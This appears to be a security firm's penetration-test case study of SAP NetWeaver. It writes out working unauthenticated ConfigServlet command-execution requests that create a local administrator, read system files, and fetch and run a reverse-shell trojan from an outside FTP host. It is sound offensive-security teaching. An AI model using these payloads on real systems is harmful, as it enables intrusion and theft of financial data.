Introduction
In this case study, we detail a comprehensive penetration test of a client’s SAP NetWeaver deployment within our financial industry client. Our objective was to identify security weaknesses that could compromise the integrity and confidentiality of critical financial data and transactions managed by this core system.
In today’s interconnected business environment, the security of enterprise systems is of the utmost importance. Among these systems, SAP NetWeaver is a critical integration and application platform that forms the backbone of many organizations’ IT infrastructures. Given its significance, ensuring the security of SAP NetWeaver systems through penetration testing is essential to protecting sensitive data, maintaining operational integrity, and complying with regulatory requirements. This blog will explore the basics of penetration testing for SAP NetWeaver systems, emphasizing the importance, methodologies, and best practices for securing this vital enterprise technology.
SAP NetWeaver integrates and streamlines business processes, making it an essential component of many organizations’ IT ecosystems and a prime target for cyber threats. Penetration testing, also known as ethical hacking, is crucial to safeguard these systems. This process involves simulating cyber attacks to identify vulnerabilities and weaknesses within the system. Organizations can significantly strengthen their defenses against potential breaches by proactively uncovering and addressing these security gaps.
SAP NetWeaver Attack – Walkthrough
This blog will focus on exploiting misconfigurations to demonstrate how to conduct penetration testing on an SAP NetWeaver ERP. The main goals will be to achieve remote command execution, compromise the Oracle database, and gain access to the web login portal.
The following shows an SAP system with three NetWeaver Application Server Instances.
Essential Tools for SAP NetWeaver Pentesting
The following tools are required to perform pentesting on SAP ABAP systems, available for both Windows and Linux (Kali)
- Nmap: For network discovery and security auditing.
- Metasploit: For penetration testing.
- BurpSuite: Web Application Penetration Testing
Nmap
The first step is identifying a target, which can be accomplished using the Nmap tool with the following command.
nmap –vv –sV –p 5000 IPOnce the objective is identified, the next step is to check if it has the following path /irj/portal/ to proceed with this action. The Burp Suite will be used.
SAP NetWeaver Attack- Walkthrough
To execute OS-level commands on the SAP server without authentication, follow these steps:
Create a GET request with a specific URL query that allows command execution. This can be done using a web browser or Burp Suite. The query should be formatted to include the command syntax. For example, to execute the ipconfig command, use the following syntax in your GET request.
http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig
To execute a different command, modify the request to include the desired command. For example, to create a new user within the OS, you would have to run the following commands:
- net user
- net user tx1admin P4ssw0rd123@ /add
- net localgroup Administrators tx1admin /add
- net localgroup Administrators
Net user command
http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net user
http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net user tx1admin P4ssw0rd123@ /add
http://xxxx.xxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=net localgroup Administrators tx1admin /add
To perform the same task using Metasploit, use the following auxiliary module:
use auxiliary/admin/sap/sap_configservlet_exec_noauthThe following images show that the SAP NetWeaver server has an Oracle DB, a user named pd7adm, and the contents of the Documents and Settings folder.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c type c:\"Documents and Settings"\pd7adm\sqlnet.log
Linux
To perform the same actions on a Linux operating system, replace it with the following links.
http://xxxx.xxx:50000/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat /etc/passwd
http://xxxx.xxx:50100/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=whoamiMetasploit
Obtaining a Reverse Shell
Several options are available to obtain a reverse shell. In this blog, we’ll use the CANVAS exploitation framework to create a reverse connection trojan. One of the first steps is to install and configure an FTP server to host the trojan we’ve just created.
FTP examples Pure-FTP or Proftpd
Once you have obtained both the FTP server and the Trojan, upload it to the SAP server (NetWeaver) using the FTP protocol, specifically with a text file (ftp.txt), which you can achieve with the following commands.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo open xxx.xxx.xxx.xxx 21> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo ftpuser>> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo ftpuser>> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo binary >> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo get tiger.exe >> ftp.txt
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c echo bye >> ftp.txtTo verify that our file called ftp.txt has been successfully uploaded, the following commands is executed.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c dir
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c type ftp.txt
Once the FTP server is set up, the file (ftp.txt) can be invoked using the installed FTP client to download the Trojan and place it on the SAP server. This is accomplished with the following command:
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c ftp -s:ftp.txtTo verify that the Trojan is downloaded from the FTP server, the following commands are executed:
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c dir
The next step is to determine the type of processor architecture. After that, create and execute the beacon using the following commands. Once these steps are completed, set up a CANVAS listener and wait for the connection to establish.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c systeminfo | findstr /I type:
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c tiger.exe
Post Exploitation
At this stage, command-line control of the server is established. However, a crucial step in the post-exploitation phase is gaining graphical control. To achieve this, the first task is to determine whether the Remote Desktop service is active, which can be verified with the following command.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c netstat -an |find "3389"
As indicated in the previous image, the target has the Remote Desktop service active. However, there is a firewall issue; as shown earlier, the port is not accessible from the Internet. To address this, a well-known technique called port forwarding (tunneling) will be used. Once the tunnel is established, access can be gained with the newly created user.
Obtaining Windows Hashes
Within CANVAS, there is an option to obtain the users’ hashes.
Oracle Database Exploitation
The previous images show that the SAP server uses an Oracle database. The next step is to create a second tunnel, as the database port is not accessible from the Internet.
The image above shows the valid users within Oracle. To obtain the respective passwords for these users, tools such as John the Ripper or Hashcat can be used.
Creating a New User inside SAP NetWeaver
Another valuable finding is the ability to create an administrator user within SAP NetWeaver using the HEAD method. This can be achieved through the telnet client, as demonstrated below.
http://IP:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd /c netstat -an |find "3389"
The image below illustrates how to create a new user using the SAP GUI.
The image below shows that the final objective has been achieved, resulting in a full compromise of the SAP NetWeaver system.
Conclusion
SAP NetWeaver remains a critical platform for penetration testing in 2024, given its extensive use in enterprise environments for essential business operations. SAP systems often handle sensitive data and core processes. Therefore, ensuring their security is vital to protecting organizational integrity. At RBT Security, we are dedicated to helping companies identify vulnerabilities, strengthen security measures, and defend against potential cyber threats. This case study was created to demonstrate how common vulnerabilities in SAP systems are identified and exploited, underscoring our commitment to enhancing security in these critical environments.
Credits & References
- SAP TRANSACTION CODES
- SAP password hash algorithms
- SAP-passwords
- SAP-dual stack instance
- Hacktricks
- BlackHat
Christian Ramirez (a.k.a. Polunchis) is a seasoned cybersecurity professional with nearly two decades of hands-on experience in offensive security and adversarial simulations. He specializes in web application, cloud (AWS, Azure, GCP), and infrastructure penetration testing, having led numerous high-impact engagements that strengthened organizational resilience worldwide.
His expertise spans red and purple team assessments, exploit and malware development, advanced evasion techniques, and bypassing AV/EDR defenses. Over his career, Christian Ramirez has tested diverse environments including web services, APIs (SOAP & REST), thick clients, wireless networks, SAP ERP systems, and ATMs.
Renowned for delivering realistic adversary emulation and comprehensive threat analysis, Christian Ramirez empowers organizations to detect, defend, and respond to advanced threats effectively. Blending technical precision with strategic insight, he helps teams uncover vulnerabilities and elevate overall security maturity.
When not dissecting systems or leading red team operations, Christian Ramirez shares his knowledge through research, thought leadership, and collaborative defense initiatives that push the boundaries of modern cybersecurity.